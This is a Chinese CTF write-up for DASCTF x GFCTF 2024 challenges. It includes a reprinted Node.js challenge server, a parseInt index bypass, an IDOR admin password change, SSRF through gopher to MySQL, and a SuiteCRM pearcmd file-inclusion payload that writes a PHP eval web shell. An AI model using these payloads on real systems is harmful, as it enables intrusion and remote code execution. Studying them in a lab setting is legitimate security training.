cool_index
server.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120
| import express from "express"; import jwt from "jsonwebtoken"; import cookieParser from "cookie-parser"; import crypto from "crypto"; const FLAG = process.env.DASFLAG || "DASCTF{fake_flag}"; const app = express(); app.use(express.json()); app.use(cookieParser()); app.use(express.static("static")); app.set("view engine", "ejs");
const JWT_SECRET = crypto.randomBytes(64).toString("hex");
const articles = [ { line1: "我还是在这里 我还是", line2: "如约而至地出现了" }, { line1: "你们有成为更好的自己吗", line2: "真的吗 那可太好了" }, { line1: "你知道吗 我经常说", line2: "把更多的时间花在 CTF 上(?)" }, { line1: "这是一种信念感", line2: "就像我出来那给你们" }, { line1: "我也希望你们能把更多时间花在热爱的事情上", line2: "我是一个特别固执的人" }, { line1: "我从来不会在意别人跟我说什么", line2: "让我去做以及怎么做 我不管" }, { line1: "如果 你也可以像我一样", line2: "那我觉得 这件事情" }, { line1: "欢迎参加 DASCTF x GFCTF 2024!", line2: FLAG, }, ];
app.get("/", (req, res) => { const token = req.cookies.token; if (token) { try { const decoded = jwt.verify(token, JWT_SECRET); res.render("home", { username: decoded.username, subscription: decoded.subscription, articles: articles, }); } catch (error) { res.clearCookie("token"); res.redirect("/register"); } } else { res.redirect("/register"); } });
app.get("/register", (req, res) => { res.render("register"); });
app.post("/register", (req, res) => { const { username, voucher } = req.body; if (typeof username === "string" && (!voucher || typeof voucher === "string")) { const subscription = (voucher === FLAG + JWT_SECRET ? "premium" : "guest"); if (voucher && subscription === "guest") { return res.status(400).json({ message: "邀请码无效" }); } const userToken = jwt.sign({ username, subscription }, JWT_SECRET, { expiresIn: "1d", }); res.cookie("token", userToken, { httpOnly: true }); return res.json({ message: "注册成功", subscription }); }
return res.status(400).json({ message: "用户名或邀请码无效" }); });
app.post("/article", (req, res) => { const token = req.cookies.token; if (token) { try { const decoded = jwt.verify(token, JWT_SECRET); let index = req.body.index; if (req.body.index < 0) { return res.status(400).json({ message: "你知道我要说什么" }); } if (decoded.subscription !== "premium" && index >= 7) { return res .status(403) .json({ message: "订阅高级会员以解锁" }); } index = parseInt(index); if (Number.isNaN(index) || index > articles.length - 1) { return res.status(400).json({ message: "你知道我要说什么" }); }
return res.json(articles[index]); } catch (error) { res.clearCookie("token"); return res.status(403).json({ message: "重新登录罢" }); } } else { return res.status(403).json({ message: "未登录" }); } });
app.listen(3000, () => { console.log("3000"); });
|
鉴权太完美了,不能通过获取secret_key来构造会员身份,那就只能想办法绕过检测直接读flag,
漏洞点就是这一句话:
1
| index = parseInt(index);
|
parseInt(string, radix) 解析一个字符串并返回指定基数的十进制整数,radix 是 2-36 之间的整数,表示被解析字符串的基数。
跟php的intval()函数差不多。根据前面两个if,我们的index不能小于,不能大于等于7。那么我们传入比如:
7?
这就绕过了前面两个if,然后经过parseInt变成了7,就读到flag了。
EasySignin
注册帐号登录后有两个点,第一个是看图片,进去提示我们不能看,怀疑是鉴权。第二个是更改当前用户密码,随便写点什么,抓包,发现postbody是这样的:
1
| username=a&new-password=aaa&confirm-password=aaa
|
尝试修改username为admin。
提示我们修改成功,看来这里没有任何过滤,拿去登录。
成功登录admin。那利用点只有看图片这里了。这里的参数是url,看见后面第一反应是文件包含,后来发现本地文件无法包含,又怀疑是ssrf。尝试gopher伪协议:
服务器起监听,这边收到了aaa,说明可以用。尝试用dict伪协议查询开了哪些服务,结果发现被这个被ban了。那只有盲打。测试过打redis、fastcgi、mysql。其实我这里笨了,有注册登录应该第一反应是打mysql的。
ssfr打mysql能打通,利用gopherus工具,构造mysql查询语句直接读文件:
直接打进去不行,flag和flie被过滤了。
那就url二次编码:
把生成的这一段拿去base64解密:
SuiteCRM
卡在修改端口了=-=,我burp改端口掩耳盗铃了属于是。
提示已经放的很明显了。先Username/Password:suitecrm:suitecrm登录进去:
提示给了CVE,发现存在文件包含漏洞。包含点就在index.php,包含结构为:
我们知道,docker环境下是会默认安装pear的,直接pearcmd文件包含:
1
| /index.php//usr/local/lib/php/pearcmd.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[123]);?>+/tmp/test.php
|
但是这样不行,这道题端口转发有问题,要手动改81端口(卡这好久)。
然后重新发包就能写进去文件了:
包含/tmp/test.php即可
web1234
这道题得到许可后再放wp
看看刚做EasySignin的吐槽QWQ: